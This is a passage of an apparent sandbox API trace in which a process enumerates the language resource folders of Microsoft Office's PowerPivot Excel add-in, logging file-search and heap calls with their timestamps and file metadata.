ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1030", cAlternateFileName="")) returned 1 [0226.837] GetProcessHeap () returned 0xc10000 [0226.837] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.837] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0226.848] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.848] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.848] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.848] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0226.849] GetProcessHeap () returned 0xc10000 [0226.849] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.849] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0226.849] GetProcessHeap () returned 0xc10000 [0226.849] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0226.850] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.850] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x116c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.851] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x116c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.851] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0226.851] GetProcessHeap () returned 0xc10000 [0226.851] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.851] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1032", cAlternateFileName="")) returned 1 [0226.851] GetProcessHeap () returned 0xc10000 [0226.851] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.851] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0226.853] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.853] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.853] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.853] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0226.853] GetProcessHeap () returned 0xc10000 [0226.853] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.853] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0226.854] GetProcessHeap () returned 0xc10000 [0226.854] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.854] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0226.854] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.854] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.854] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.854] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0226.855] GetProcessHeap () returned 0xc10000 [0226.855] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.855] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1035", cAlternateFileName="")) returned 1 [0226.855] GetProcessHeap () returned 0xc10000 [0226.855] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.855] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0226.857] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.857] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.857] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.858] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0226.858] GetProcessHeap () returned 0xc10000 [0226.858] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.858] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0226.858] GetProcessHeap () returned 0xc10000 [0226.858] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.858] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0226.859] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.859] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.859] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.859] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0226.859] GetProcessHeap () returned 0xc10000 [0226.859] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.859] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1037", cAlternateFileName="")) returned 1 [0226.860] GetProcessHeap () returned 0xc10000 [0226.860] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0226.861] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.861] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11460, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.861] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11460, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.861] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0226.861] GetProcessHeap () returned 0xc10000 [0226.861] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.861] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1038", cAlternateFileName="")) returned 1 [0226.861] GetProcessHeap () returned 0xc10000 [0226.861] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.861] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0226.864] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.864] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.864] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.865] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0226.865] GetProcessHeap () returned 0xc10000 [0226.865] HeapFree (in: hHeap=0xc10000, 